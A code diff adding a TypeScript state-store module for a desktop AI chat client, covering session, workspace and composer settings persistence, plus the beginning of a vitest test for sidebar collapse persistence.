+import { atom, computed } from 'nanostores'
+
+import { lastVisibleMessageIsUser } from '@/app/chat/thread-loading'
+import type { ContextSuggestion } from '@/app/types'
+import type { ClawCodexConnection } from '@/global'
+import type { ChatMessage } from '@/lib/chat-messages'
+import { persistBoolean, persistString, storedBoolean, storedString } from '@/lib/storage'
+import type { SessionInfo, UsageStats } from '@/types/clawcodex'
+
+type Updater<T> = T | ((current: T) => T)
+export type ComposerModelSource = '' | 'default' | 'manual'
+
+const WORKSPACE_CWD_KEY = 'clawcodex.desktop.workspace-cwd'
+
+// The composer's model/effort/fast is sticky UI state, NOT the profile default
+// (that lives in Settings → Model). Persisting it in localStorage makes a pick
+// follow across Cmd+N and app restarts instead of snapping back to the default.
+// It's deliberately global (not per-profile): a profile switch force-reseeds to
+// that profile's default, while within a profile new chats keep your last pick.
+const COMPOSER_MODEL_KEY = 'clawcodex.desktop.composer.model'
+const COMPOSER_PROVIDER_KEY = 'clawcodex.desktop.composer.provider'
+const COMPOSER_MODEL_SOURCE_KEY = 'clawcodex.desktop.composer.model-source'
+const COMPOSER_EFFORT_KEY = 'clawcodex.desktop.composer.reasoning-effort'
+const COMPOSER_FAST_KEY = 'clawcodex.desktop.composer.fast'
+
+// The last chat the user had open, so a relaunch lands back on it instead of an
+// empty new-chat. Stored (not runtime) id — the route is keyed by stored id.
+//
+// Scoped per profile with an explicit namespace (`.profile.<encoded>`) and
+// encodeURIComponent so a profile name carrying `/` or other reserved chars
+// cannot collide or leak across keys. Legacy global (unsuffixed) keys are
+// discarded on first read to prevent cross-profile bleed — ownership of the old
+// global values is unknowable, and guessing the owning profile is exactly the
+// cross-profile corruption this storage boundary prevents (#67709).
+const LAST_SESSION_KEY = 'clawcodex.desktop.lastSessionId'
+const LAST_ROUTE_KEY = 'clawcodex.desktop.lastRoute'
+
+function profileNavigationKey(base: string, profile: string): string {
+  const key = profile.trim() || 'default'
+
+  return `${base}.profile.${encodeURIComponent(key)}`
+}
+
+// Discard legacy global keys once per tick. A module-level flag avoids
+// redundant synchronous localStorage reads on every get/set call within
+// the same synchronous block. The flag resets on cross-window `storage`
+// events, which are the only way another window can recontaminate between
+// ticks.
+let legacyDiscardNeeded = true
+
+if (typeof window !== 'undefined') {
+  window.addEventListener('storage', e => {
+    if (e.key === LAST_SESSION_KEY || e.key === LAST_ROUTE_KEY) {
+      legacyDiscardNeeded = true
+    }
+  })
+}
+
+function discardLegacyRememberedNavigation(): void {
+  if (!legacyDiscardNeeded) {
+    return
+  }
+
+  legacyDiscardNeeded = false
+
+  // Ownership of the old global values is unknowable. Never migrate them into
+  // a profile: guessing is exactly the cross-profile corruption this storage
+  // boundary prevents.
+  if (storedString(LAST_SESSION_KEY) !== null) {
+    persistString(LAST_SESSION_KEY, null)
+  }
+
+  if (storedString(LAST_ROUTE_KEY) !== null) {
+    persistString(LAST_ROUTE_KEY, null)
+  }
+}
+
+/** @internal Reset the legacy-discard flag for tests. */
+export function _resetLegacyDiscardForTests(): void {
+  legacyDiscardNeeded = true
+}
+
+export function getRememberedSessionId(profile: string): null | string {
+  discardLegacyRememberedNavigation()
+
+  return storedString(profileNavigationKey(LAST_SESSION_KEY, profile))
+}
+
+export function setRememberedSessionId(id: null | string, profile: string): void {
+  discardLegacyRememberedNavigation()
+  persistString(profileNavigationKey(LAST_SESSION_KEY, profile), id)
+}
+
+export function sessionBelongsToProfile(
+  sessions: readonly Pick<SessionInfo, '_lineage_root_id' | 'id' | 'profile'>[],
+  storedSessionId: string,
+  profile: string
+): boolean {
+  const key = profile.trim() || 'default'
+
+  return sessions.some(session => {
+    const owner = (session.profile ?? '').trim() || 'default'
+
+    return owner === key && sessionMatchesStoredId(session, storedSessionId)
+  })
+}
+
+/**
+ * The profile a routed session belongs to, for keying the remembered id.
+ *
+ * Prefer the owning profile recorded on the session row (the cross-profile
+ * aggregator tags each row), so the session is remembered under ITS profile
+ * even while a different one is live. Falls back to the active gateway profile
+ * for a session not yet in the in-memory list.
+ */
+export function rememberedSessionProfile(
+  sessions: readonly SessionInfo[],
+  sessionId: null | string,
+  activeProfile: null | string
+): string {
+  if (sessionId) {
+    const owner = sessions.find(session => sessionMatchesStoredId(session, sessionId))?.profile?.trim()
+
+    if (owner) {
+      return owner
+    }
+  }
+
+  return (activeProfile ?? '').trim() || 'default'
+}
+
+// The last non-overlay route (a page like /skills, or a session route), so a
+// relaunch lands back where you were instead of a bare new-chat.
+//
+// Scoped per profile for the same reason the remembered session id is: a single
+// global key remembered ONE route across every profile, and a session route
+// carries a session id in its path. Restoring under profile B would navigate to
+// a session owned by profile A — the remembered-id scoping above is bypassed
+// entirely, because the route is preferred over the id on cold start
+// (#67603 family). Legacy global values are discarded on first read.
+
+export function getRememberedRoute(profile: string): null | string {
+  discardLegacyRememberedNavigation()
+
+  return storedString(profileNavigationKey(LAST_ROUTE_KEY, profile))
+}
+
+export function setRememberedRoute(path: null | string, profile: string): void {
+  discardLegacyRememberedNavigation()
+  persistString(profileNavigationKey(LAST_ROUTE_KEY, profile), path)
+}
+
+let configuredDefaultProjectDir = ''
+
+function workspaceCwdKey(connection: ClawCodexConnection | null = $connection.get()): string {
+  if (connection?.mode !== 'remote') {
+    return WORKSPACE_CWD_KEY
+  }
+
+  const base = encodeURIComponent(connection.baseUrl || 'remote')
+  const profile = encodeURIComponent(connection.profile || 'default')
+
+  return `${WORKSPACE_CWD_KEY}.remote.${base}.${profile}`
+}
+
+export const getRememberedWorkspaceCwd = (): string => storedString(workspaceCwdKey())?.trim() || ''
+export type NewChatWorkspaceTarget = null | string | undefined
+
+export const getConfiguredDefaultProjectDir = (): string => configuredDefaultProjectDir
+
+export async function syncConfiguredDefaultProjectDir(): Promise<string> {
+  const settings = window.clawcodexDesktop?.settings?.getDefaultProjectDir
+
+  if (!settings) {
+    configuredDefaultProjectDir = ''
+
+    return ''
+  }
+
+  const { dir } = await settings()
+  configuredDefaultProjectDir = dir?.trim() || ''
+
+  return configuredDefaultProjectDir
+}
+
+/** Align the renderer workspace with the main-process default (home dir when
+ *  packaged, optional Settings override). Clears stale install-dir paths that
+ *  PR #37586's localStorage stickiness can preserve across the #37536 fix. */
+export async function ensureDefaultWorkspaceCwd(): Promise<void> {
+  const sanitize = window.clawcodexDesktop?.sanitizeWorkspaceCwd
+
+  if (!sanitize) {
+    return
+  }
+
+  await syncConfiguredDefaultProjectDir()
+  const configured = getConfiguredDefaultProjectDir()
+
+  const seedLiveCwd = (cwd: string) => {
+    if (cwd && !$activeSessionId.get()) {
+      setCurrentCwd(cwd)
+    }
+  }
+
+  const remembered = getRememberedWorkspaceCwd()
+
+  if ($connection.get()?.mode === 'remote') {
+    seedLiveCwd(remembered)
+
+    return
+  }
+
+  if (configured) {
+    const { cwd } = await sanitize(configured)
+    seedLiveCwd(cwd)
+
+    return
+  }
+
+  if (remembered) {
+    const { cwd } = await sanitize(remembered)
+    seedLiveCwd(cwd)
+  }
+}
+
+export function applyConfiguredDefaultProjectDir(dir: null | string | undefined): void {
+  configuredDefaultProjectDir = dir?.trim() || ''
+}
+
+interface AppAtom<T> {
+  get: () => T
+  set: (value: T) => void
+}
+
+function updateAtom<T>(store: AppAtom<T>, next: Updater<T>) {
+  store.set(typeof next === 'function' ? (next as (current: T) => T)(store.get()) : next)
+}
+
+/** Durable id for pinning. Auto-compression rotates a conversation's session
+ *  id (root -> continuation tip), so pins keyed on the live id evaporate. The
+ *  lineage root is stable across every compression, so we pin on that. */
+export const sessionPinId = (session: Pick<SessionInfo, '_lineage_root_id' | 'id'>): string =>
+  session._lineage_root_id ?? session.id
+
+/** True when a stored/lineage id resolves to this session — it matches either
+ *  the live id or the stable lineage root (see sessionPinId). The one place the
+ *  "same conversation across compression" test lives. */
+export const sessionMatchesStoredId = (
+  session: Pick<SessionInfo, '_lineage_root_id' | 'id'>,
+  storedSessionId: string
+): boolean => session.id === storedSessionId || session._lineage_root_id === storedSessionId
+
+/** True when two ids name the same conversation across compression tip rotation. */
+export function idsShareLineage(
+  a: string,
+  b: string,
+  sessions: readonly Pick<SessionInfo, '_lineage_root_id' | 'id'>[]
+): boolean {
+  if (a === b) {
+    return true
+  }
+
+  return sessions.some(session => sessionMatchesStoredId(session, a) && sessionMatchesStoredId(session, b))
+}
+
+/**
+ * Whether a composer draft/queue key should move from `fromKey` onto `toKey`.
+ *
+ * Only same-conversation rekeys are allowed (compression tip → lineage root).
+ * A session-switch window where the route already points at B while the store
+ * selection still holds A must NOT migrate — that would re-home Session A's
+ * queued prompts onto B and auto-drain them into the wrong chat.
+ */
+export function shouldMigrateComposerScope(
+  fromKey: string | null | undefined,
+  toKey: string | null | undefined,
+  sessions: readonly Pick<SessionInfo, '_lineage_root_id' | 'id'>[]
+): boolean {
+  const from = fromKey?.trim()
+  const to = toKey?.trim()
+
+  if (!from || !to || from === to) {
+    return false
+  }
+
+  return idsShareLineage(from, to, sessions)
+}
+
+/**
+ * Stable composer + `/queue` scope for a selected stored session.
+ *
+ * Same durability rule as {@link sessionPinId}: prefer the lineage root so
+ * auto-compression tip rotation does not remount the composer onto an empty
+ * draft/queue key mid-keystroke. Falls back to the live id when the row is
+ * not in the in-memory list yet.
+ */
+export function resolveComposerSessionKey(
+  selectedSessionId: string | null | undefined,
+  sessions: readonly Pick<SessionInfo, '_lineage_root_id' | 'id'>[]
+): string | null {
+  if (!selectedSessionId) {
+    return null
+  }
+
+  const row = sessions.find(session => sessionMatchesStoredId(session, selectedSessionId))
+
+  return row ? sessionPinId(row) : selectedSessionId
+}
+
+/** Merge a fresh server session page into the in-memory list, keeping any
+ *  row the server omitted that we still want visible — both still-"working"
+ *  sessions and pinned sessions.
+ *
+ *  Two reasons the server drops a row we must keep:
+ *
+ *  1. A brand-new session's first user message isn't flushed to the SessionDB
+ *     until its turn is persisted, so `listSessions(min_messages=1)` skips
+ *     sessions that are mid-first-response. Because every `message.complete`
+ *     triggers a full refresh, a hard replace makes concurrent new chats vanish
+ *     the instant any one of them finishes.
+ *  2. The sidebar lists only the most-recent page (`SIDEBAR_SESSIONS_PAGE_SIZE`)
+ *     ordered by activity. A pinned conversation that hasn't been touched in a
+ *     while falls off that page, so a hard replace silently evicts it from the
+ *     in-memory list — and because the Pinned section resolves pins against
+ *     that list, the pin "disappears until you refresh".
+ *
+ *  `keepIds` carries both the working set and the pinned set. Pins are stored
+ *  on the durable lineage-root id (see {@link sessionPinId}), while the loaded
+ *  row surfaces under its live compression tip, so we match a survivor by
+ *  either its live `id` or its `_lineage_root_id`. Optimistic deletes/archives
+ *  drop the row from `previous` (and unpin it), so a removed session can't be
+ *  resurrected here. */
+export function mergeSessionPage(
+  previous: SessionInfo[],
+  incoming: SessionInfo[],
+  keepIds: Iterable<string>
+): SessionInfo[] {
+  const keep = keepIds instanceof Set ? keepIds : new Set(keepIds)
+
+  // Carry a known title onto a row that arrives title-less, so a freshly
+  // submitted session (e.g. a branch draft) holds its placeholder instead of
+  // flashing its raw message preview in the gap between persist and the async
+  // auto-titler. A real clear sets the local title null first, so this never
+  // masks one.
+  const prevById = new Map(previous.map(session => [session.id, session]))
+  // Tip rotation changes the live id — carry activity/title across the lineage
+  // root so a mid-turn refresh can't drop a touchSessionActivity bump.
+  const prevByLineage = new Map(previous.map(session => [session._lineage_root_id ?? session.id, session]))
+
+  const merged = incoming.map(session => {
+    const prev = prevById.get(session.id) ?? prevByLineage.get(session._lineage_root_id ?? session.id)
+    // User-send stamps last_active before the DB flushes the user row
+    // (last_active = MAX(messages.timestamp)). Keep the fresher of the two.
+    const last_active = Math.max(prev?.last_active ?? 0, session.last_active ?? 0)
+    const title = session.title?.trim() ? session.title : prev?.title?.trim() ? prev.title : session.title
+
+    return last_active === session.last_active && title === session.title ? session : { ...session, last_active, title }
+  })
+
+  if (keep.size === 0) {
+    return merged
+  }
+
+  const incomingIds = new Set(merged.map(session => session.id))
+
+  // Deduplicate by compression lineage: when auto-compression rotates the tip
+  // id (old #4 → new #5), the incoming page carries the new tip but the
+  // previous list still holds the old one.  Without lineage-level dedup both
+  // rows survive as separate sidebar entries (fixes #43483).
+  const incomingLineageKeys = new Set(merged.map(session => session._lineage_root_id ?? session.id))
+
+  const survivors = previous.filter(
+    session =>
+      !incomingIds.has(session.id) &&
+      !incomingLineageKeys.has(session._lineage_root_id ?? session.id) &&
+      (keep.has(session.id) || (session._lineage_root_id != null && keep.has(session._lineage_root_id)))
+  )
+
+  return survivors.length ? [...survivors, ...merged] : merged
+}
+
+/** Raise a session in recents on user send (before stream / turn resolve). */
+export function touchSessionActivity(
+  sessionId: string | null | undefined,
+  options?: { at?: number; preview?: string }
+): void {
+  const id = sessionId?.trim()
+
+  if (!id) {
+    return
+  }
+
+  const at = options?.at ?? Date.now() / 1000
+  const preview = options?.preview?.trim().slice(0, 200) || undefined
+
+  setSessions(prev => {
+    let changed = false
+
+    const next = prev.map(session => {
+      if (!sessionMatchesStoredId(session, id)) {
+        return session
+      }
+
+      const last_active = Math.max(session.last_active ?? 0, at)
+
+      if (last_active === session.last_active && (!preview || preview === session.preview)) {
+        return session
+      }
+
+      changed = true
+
+      return preview ? { ...session, last_active, preview } : { ...session, last_active }
+    })
+
+    return changed ? next : prev
+  })
+}
+
+export const $connection = atom<ClawCodexConnection | null>(null)
+export const $gatewayState = atom<ConnectionState>('idle')
+export const $sessions = atom<SessionInfo[]>([])
+// Cron-job sessions (source === 'cron') are fetched as their own list so the
+// scheduler's always-newest sessions never crowd recents out of the page
+// budget. Powers the collapsed "Cron jobs" sidebar section.
+export const $cronSessions = atom<SessionInfo[]>([])
+// Max cron sessions fetched for the sidebar section (single bounded page). When
+// the fetch returns exactly this many rows we know more exist, so the section
+// badge renders "N+". Lives here so the controller (fetch) and sidebar (badge)
+// share one source of truth without a circular import.
+export const CRON_SECTION_LIMIT = 50
+// Messaging-platform sessions (telegram/discord/...) are fetched as their own
+// slice — separate from local recents — so each platform renders a
+// self-managed sidebar section and never interleaves with (or buries) local
+// chats in the recents page. One combined fetch seeds every platform; a
+// platform that exceeds this cap gets its own per-platform "load more".
+export const $messagingSessions = atom<SessionInfo[]>([])
+export const MESSAGING_SECTION_LIMIT = 100
+// Exact per-platform conversation totals, keyed by source id. Empty until a
+// per-platform "load more" fetch resolves it (the combined seed fetch only
+// knows the aggregate), so sections fall back to their loaded count.
+export const $messagingPlatformTotals = atom<Record<string, number>>({})
+// True when the combined seed fetch hit MESSAGING_SECTION_LIMIT, so at least
+// one platform may have more rows on disk than were loaded.
+export const $messagingTruncated = atom<boolean>(false)
+// Whether a profile's last session page was CAPPED by the request limit, keyed
+// by profile name — i.e. more rows exist on disk than were loaded. Replaces the
+// old exact per-profile totals: rendering `loaded/total` in the sidebar cost a
+// COUNT(*) per profile DB on every refresh and only ever confused people, while
+// "is there another page?" is what pagination actually needs and comes free
+// from the row count the query already returned.
+export const $sessionProfilesTruncated = atom<Record<string, boolean>>({})
+export const $sessionsLoading = atom(true)
+export const $activeSessionId = atom<string | null>(null)
+export const $selectedStoredSessionId = atom<string | null>(null)
+export interface ActiveSessionStoredIdRotation {
+  nextStoredSessionId: string
+  previousStoredSessionId: string
+  runtimeSessionId: string
+}
+
+// One-shot event for when auto-compression rotates the active runtime's stored
+// id. Carrying the runtime + previous id is load-bearing: a bare next id cannot
+// tell whether the user has already navigated away while React is waiting to
+// run the route-following effect, which lets a background session steal the
+// foreground route.
+export const $activeSessionStoredIdRotation = atom<ActiveSessionStoredIdRotation | null>(null)
+export const $messages = atom<ChatMessage[]>([])
+
+// Streaming-stable derivations of $messages. During a token stream the array
+// is replaced ~30×/s; components that only care about coarse facts (is the
+// thread empty? is the tail a user message?) subscribe to these instead of
+// $messages so per-token flushes don't re-render them — nanostores' `computed`
+// only notifies when the derived VALUE changes.
+export const $messagesEmpty = computed($messages, messages => messages.length === 0)
+export const $lastVisibleMessageIsUser = computed($messages, lastVisibleMessageIsUser)
+
+export const $freshDraftReady = atom(false)
+export const $busy = atom(false)
+export const $awaitingResponse = atom(false)
+// Stored-session id whose most recent resume FAILED terminally (the gateway RPC
+// rejected AND the REST transcript fallback also failed), leaving the window
+// with no runtime and an empty transcript. Drives use-route-resume's self-heal:
+// while this matches the routed session the loader would otherwise latch
+// forever (messagesEmpty && !activeSessionId), so the hook re-attempts the
+// resume on the next render/focus/reconnect instead of stranding the window.
+// Null whenever the active route has a healthy (or in-flight) resume.
+export const $resumeFailedSessionId = atom<string | null>(null)
+// Stored-session id whose resume has EXHAUSTED its bounded auto-retries (the
+// terminal-failure latch above kept failing through all MAX_RESUME_RETRIES
+// attempts). Distinct from $resumeFailedSessionId, which is armed *during* the
+// backoff window too: this fires only once auto-recovery has given up, so the
+// chat view can swap the perpetual loader for an explicit error + manual Retry
+// affordance. A fresh resumeSession() (manual Retry, reconnect, reselect)
+// clears it and resets the retry counter. Null whenever the active route has a
+// healthy, in-flight, or still-auto-retrying resume.
+export const $resumeExhaustedSessionId = atom<string | null>(null)
+export const $currentModel = atom(storedString(COMPOSER_MODEL_KEY) ?? '')
+export const $currentProvider = atom(storedString(COMPOSER_PROVIDER_KEY) ?? '')
+export const $currentReasoningEffort = atom(storedString(COMPOSER_EFFORT_KEY) ?? '')
+export const $currentServiceTier = atom('')
+export const $currentFastMode = atom(storedBoolean(COMPOSER_FAST_KEY, false))
+// Effective approval-bypass state mirrored from the gateway (session.info).
+// Persistence lives in the backend config (approvals.mode), so this is a plain
+// reflection of the truth the gateway reports rather than its own store.
+export const $yoloActive = atom(false)
+export const $currentCwd = atom(getRememberedWorkspaceCwd())
+
+// Which conversation the live `$currentCwd` is known to describe. Three
+// inhabitants, and the difference between the last two is load-bearing:
+// a stored-session id (that conversation owns the path), `null` (the fresh-draft
+// state, which MATCHES a null selection and therefore reads as OWNED — a draft's
+// workspace is immediately usable), and the released marker
+// `WORKSPACE_CWD_UNOWNED` below, which matches no selection and so reads as
+// owned by nobody. `null` cannot double as the release value precisely because
+// it matches: releasing to `null` while a draft is selected would hand the
+// leftover path to the draft as its own workspace.
+//
+// A conversation switch publishes the new stored id immediately, but the new
+// workspace only arrives when the resume settles, so for that whole window
+// `$currentCwd` still holds the PREVIOUS conversation's folder. Without a way to
+// say "this path is not this conversation's yet", workspace-derived surfaces
+// treat the leftover path as authoritative and show the old repo's cached Git
+// facts under the newly selected chat (#71254).
+//
+// Ownership, not emptiness, is what makes the switch atomic: clearing the path
+// would collapse the workspace panes and drop file-tree state on every switch,
+// so the path stays put and is simply marked as not-yet-owned.
+export const $workspaceCwdOwner = atom<null | string>(null)
+export const $newChatWorkspaceTarget = atom<NewChatWorkspaceTarget>(undefined)
+export const $newChatWorkspaceTargetGeneration = atom(0)
+export const $currentBranch = atom('')
+export const $currentUsage = atom<UsageStats>({
+  calls: 0,
+  input: 0,
+  output: 0,
+  total: 0
+})
+export const $sessionStartedAt = atom<number | null>(null)
+export const $turnStartedAt = atom<number | null>(null)
+export const $introPersonality = atom('')
+export const $currentPersonality = atom('')
+export const $availablePersonalities = atom<string[]>([])
+export const $introSeed = atom(0)
+export const $contextSuggestions = atom<ContextSuggestion[]>([])
+export const $modelPickerOpen = atom(false)
+export const $sessionPickerOpen = atom(false)
+
+export const setConnection = (next: Updater<ClawCodexConnection | null>) => updateAtom($connection, next)
+export const setGatewayState = (next: Updater<ConnectionState>) => updateAtom($gatewayState, next)
+export const setSessions = (next: Updater<SessionInfo[]>) => updateAtom($sessions, next)
+export const setCronSessions = (next: Updater<SessionInfo[]>) => updateAtom($cronSessions, next)
+export const setMessagingSessions = (next: Updater<SessionInfo[]>) => updateAtom($messagingSessions, next)
+export const setMessagingPlatformTotals = (next: Updater<Record<string, number>>) =>
+  updateAtom($messagingPlatformTotals, next)
+export const setMessagingTruncated = (next: Updater<boolean>) => updateAtom($messagingTruncated, next)
+export const setSessionProfilesTruncated = (next: Updater<Record<string, boolean>>) =>
+  updateAtom($sessionProfilesTruncated, next)
+export const setSessionsLoading = (next: Updater<boolean>) => updateAtom($sessionsLoading, next)
+export const setActiveSessionId = (next: Updater<string | null>) => updateAtom($activeSessionId, next)
+export const setActiveSessionStoredIdRotation = (next: Updater<ActiveSessionStoredIdRotation | null>) =>
+  updateAtom($activeSessionStoredIdRotation, next)
+
+// Transient: a background session finished and the user hasn't opened it since.
+// Written by session-states.ts (handleTransition), cleared here on session open.
+export const $unreadFinishedSessionIds = atom<string[]>([])
+
+export const setSelectedStoredSessionId = (next: Updater<string | null>) => {
+  updateAtom($selectedStoredSessionId, next)
+  // Opening a session clears its unread state — the user is now looking at it.
+  const id = $selectedStoredSessionId.get()
+
+  if (id && $unreadFinishedSessionIds.get().includes(id)) {
+    $unreadFinishedSessionIds.set($unreadFinishedSessionIds.get().filter(x => x !== id))
+  }
+}
+
+export const setMessages = (next: Updater<ChatMessage[]>) => updateAtom($messages, next)
+export const setFreshDraftReady = (next: Updater<boolean>) => updateAtom($freshDraftReady, next)
+export const setResumeFailedSessionId = (next: Updater<string | null>) => updateAtom($resumeFailedSessionId, next)
+export const setResumeExhaustedSessionId = (next: Updater<string | null>) => updateAtom($resumeExhaustedSessionId, next)
+export const setBusy = (next: Updater<boolean>) => updateAtom($busy, next)
+export const setAwaitingResponse = (next: Updater<boolean>) => updateAtom($awaitingResponse, next)
+
+export const setCurrentModel = (next: Updater<string>) => {
+  updateAtom($currentModel, next)
+  persistString(COMPOSER_MODEL_KEY, $currentModel.get() || null)
+}
+
+export const setCurrentProvider = (next: Updater<string>) => {
+  updateAtom($currentProvider, next)
+  persistString(COMPOSER_PROVIDER_KEY, $currentProvider.get() || null)
+}
+
+export const getCurrentModelSource = (): ComposerModelSource => {
+  const source = storedString(COMPOSER_MODEL_SOURCE_KEY)
+
+  return source === 'default' || source === 'manual' ? source : ''
+}
+
+// Reactive mirror of the persisted source so UI (the composer pill's
+// override badge) can subscribe. The getter above stays storage-backed —
+// it's read cross-window, where this atom wouldn't see writes.
+export const $currentModelSource = atom<ComposerModelSource>(getCurrentModelSource())
+
+export const setCurrentModelSource = (source: ComposerModelSource) => {
+  persistString(COMPOSER_MODEL_SOURCE_KEY, source || null)
+  $currentModelSource.set(source)
+}
+
+// Monotonic intent token for async default refreshes. A profile/config request
+// may start before the user opens the picker and finish after their click; the
+// token lets that older response stand down even when the selected value is
+// unchanged (value comparisons alone cannot detect re-selecting the same row).
+let composerSelectionGeneration = 0
+
+export const getComposerSelectionGeneration = (): number => composerSelectionGeneration
+
+export const markComposerSelectionManual = (): void => {
+  composerSelectionGeneration += 1
+  setCurrentModelSource('manual')
+}
+
+export const setCurrentReasoningEffort = (next: Updater<string>) => {
+  updateAtom($currentReasoningEffort, next)
+  persistString(COMPOSER_EFFORT_KEY, $currentReasoningEffort.get() || null)
+}
+
+// The profile's `agent.reasoning_effort`, mirrored from config so surfaces that
+// need to render or apply "the default" resolve the user's configured level
+// instead of assuming DEFAULT_REASONING_EFFORT (lib/reasoning-effort). Empty
+// until config loads, and re-seeded on every profile switch by useClawCodexConfig.
+export const $defaultReasoningEffort = atom('')
+
+export const setDefaultReasoningEffort = (next: string) => updateAtom($defaultReasoningEffort, next)
+
+export const setCurrentServiceTier = (next: Updater<string>) => updateAtom($currentServiceTier, next)
+
+export const setCurrentFastMode = (next: Updater<boolean>) => {
+  updateAtom($currentFastMode, next)
+  persistBoolean(COMPOSER_FAST_KEY, $currentFastMode.get())
+}
+
+export const setYoloActive = (next: Updater<boolean>) => updateAtom($yoloActive, next)
+
+export const setCurrentCwd = (next: Updater<string>) => {
+  updateAtom($currentCwd, next)
+  persistString(workspaceCwdKey(), $currentCwd.get().trim() || null)
+}
+
+export const setCurrentCwdTransient = (next: Updater<string>) => updateAtom($currentCwd, next)
+
+// Released-ownership marker: the live path belongs to no conversation. `null`
+// cannot serve as the release value because it MATCHES a fresh draft (whose
+// selected id is also null), which would declare a leftover path to be the
+// draft's own workspace — #71254, one selection over. Kept here beside the atom
+// and the comparison so a release site cannot reinvent a subtly different value.
+const WORKSPACE_CWD_UNOWNED = 'desktop:workspace-cwd-unowned'
+
+/** Mark the live workspace as belonging to `storedSessionId`.
+ *
+ *  Call this wherever a cwd is established for a conversation (resume settling,
+ *  a warm switch, an explicit folder pick). Until it is called for the newly
+ *  selected conversation, primary workspace-derived selectors hide the previous
+ *  conversation's cached facts rather than publishing them (#71254).
+ */
+export const setWorkspaceCwdOwner = (storedSessionId: null | string) => updateAtom($workspaceCwdOwner, storedSessionId)
+
+/** Declare that no conversation owns the live workspace path.
+ *
+ *  For a conversation whose workspace is not known yet: the path on screen is
+ *  provably still the previous conversation's, so workspace-derived surfaces must
+ *  hide it rather than adopt it. The path itself is deliberately left alone —
+ *  clearing it would collapse the workspace/review panes and drop file-tree
+ *  state on every switch.
+ */
+export const releaseWorkspaceCwdOwner = () => updateAtom($workspaceCwdOwner, WORKSPACE_CWD_UNOWNED)
+
+/** Commit `cwd` as the workspace of the conversation the user is looking at.
+ *
+ *  The single primitive for "this path IS the selected conversation's" — a folder
+ *  pick, a project entry, the agent relocating itself. Prefer it over a bare
+ *  `setCurrentCwd`, which moves the path while leaving ownership naming whatever
+ *  held it before; workspace-derived slices then stay hidden even though the
+ *  path is correct (#71254).
+ */
+export const commitWorkspaceCwdForSelectedSession = (cwd: string) => {
+  setCurrentCwd(cwd)
+  setWorkspaceCwdOwner($selectedStoredSessionId.get())
+}
+
+/** True when `$currentCwd` is known to describe the selected conversation. */
+export const workspaceCwdBelongsToSelectedSession = (): boolean =>
+  ($workspaceCwdOwner.get() ?? null) === ($selectedStoredSessionId.get() ?? null)
+
+export const setNewChatWorkspaceTarget = (next: NewChatWorkspaceTarget): number => {
+  const generation = $newChatWorkspaceTargetGeneration.get() + 1
+  $newChatWorkspaceTarget.set(next)
+  $newChatWorkspaceTargetGeneration.set(generation)
+
+  return generation
+}
+
+export const workspaceCwdForNewSession = (): string => {
+  if ($connection.get()?.mode === 'remote') {
+    return getRememberedWorkspaceCwd()
+  }
+
+  // A bare new chat starts DETACHED — no inherited cwd, so the composer's coding
+  // rail (which keys off $currentCwd) shows no branch and the first message runs
+  // in the gateway's default rather than silently in the last repo you touched.
+  // Only an explicit default-project-dir setting pre-attaches. Entering a
+  // project/worktree attaches its cwd directly (startSessionInWorkspace), so the
+  // "remember where I was when I'm in a project" case is unaffected.
+  return getConfiguredDefaultProjectDir()
+}
+
+export const setCurrentBranch = (next: Updater<string>) => updateAtom($currentBranch, next)
+export const setCurrentUsage = (next: Updater<UsageStats>) => updateAtom($currentUsage, next)
+export const setSessionStartedAt = (next: Updater<number | null>) => updateAtom($sessionStartedAt, next)
+export const setTurnStartedAt = (next: Updater<number | null>) => updateAtom($turnStartedAt, next)
+export const setIntroPersonality = (next: Updater<string>) => updateAtom($introPersonality, next)
+export const setCurrentPersonality = (next: Updater<string>) => updateAtom($currentPersonality, next)
+export const setAvailablePersonalities = (next: Updater<string[]>) => updateAtom($availablePersonalities, next)
+export const setIntroSeed = (next: Updater<number>) => updateAtom($introSeed, next)
+export const setContextSuggestions = (next: Updater<ContextSuggestion[]>) => updateAtom($contextSuggestions, next)
+export const setModelPickerOpen = (next: Updater<boolean>) => updateAtom($modelPickerOpen, next)
+export const setSessionPickerOpen = (next: Updater<boolean>) => updateAtom($sessionPickerOpen, next)
diff --git a/ui-desktop/src/store/sidebar-collapse-persistence.test.ts b/ui-desktop/src/store/sidebar-collapse-persistence.test.ts
new file mode 100644
index 000000000..f260950d1
--- /dev/null
+++ b/ui-desktop/src/store/sidebar-collapse-persistence.test.ts
@@ -0,0 +1,64 @@
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+// Ground-truth repro for "hiding the sidebar doesn't persist on reload": drive
+// the REAL stores, then re-import them (fresh module state reading persisted
+// localStorage) to simulate a ⌃R reload. `bind` mirrors the controller wiring.
+async function loadStores() {
+  const layout = await import('./layout')
+  const tree = await import('@/components/pane-shell/tree/store')
+
+  return {
+    layout,
+    tree,
+    bind: () => tree.bindTreeSideVisibility('left', layout.$sidebarOpen, layout.setSidebarOpen),
+    leftCollapsed: () => tree.$collapsedTreeSides.get().has('left')
+  }
+}
+
+const reload = () => vi.resetModules() // fresh modules; localStorage is the carry-over
+
+describe('sidebar collapse persistence', () => {
+  beforeEach(() => {
+    window.localStorage.clear()
+    vi.resetModules()
+  })
+
+  it('restores a hidden sidebar after a reload', async () => {
+    const s1 = await loadStores()
+    s1.bind()
+    s1.layout.setSidebarOpen(false)
+    expect(s1.leftCollapsed()).toBe(true)
+
+    reload()
+    const s2 = await loadStores()
+    expect(s2.layout.$sidebarOpen.get()).toBe(false) // persisted open:false survives
+    s2.bind()
+    expect(s2.leftCollapsed()).toBe(true) // and re-collapses
+  })
+
+  // The reported repro: a sidebar HIDDEN before a reset must be reopened by the
+  // reset ("restore everything"); otherwise the stale-hidden state flips the
+  // next ⌘B into a SHOW, and the user's hide never persists.
+  it('reset reopens a hidden sidebar, so a later hide persists across reload', async () => {
+    const s1 = await loadStores()
+    const { group, split } = await import('@/components/pane-shell/tree/model')
+    s1.tree.declareDefaultTree(split('row', [group(['sessions']), group(['workspace'])], [1, 3]))
+    s1.bind()
+
+    s1.layout.setSidebarOpen(false) // hidden BEFORE the reset
+    expect(s1.leftCollapsed()).toBe(true)
+
+    s1.tree.resetLayoutTree() // ⌘⇧ reset — restores everything, sidebar shown again
+    expect(s1.layout.$sidebarOpen.get()).toBe(true)
+    expect(s1.leftCollapsed()).toBe(false)
+
+    s1.layout.toggleSidebarOpen() // ⌘B now genuinely hides
+    expect(s1.layout.$sidebarOpen.get()).toBe(false)
+
+    reload()
+    const s2 = await loadStores()
+    expect(s2.layout.$sidebarOpen.get()).toBe(false)
+    s2.bind()
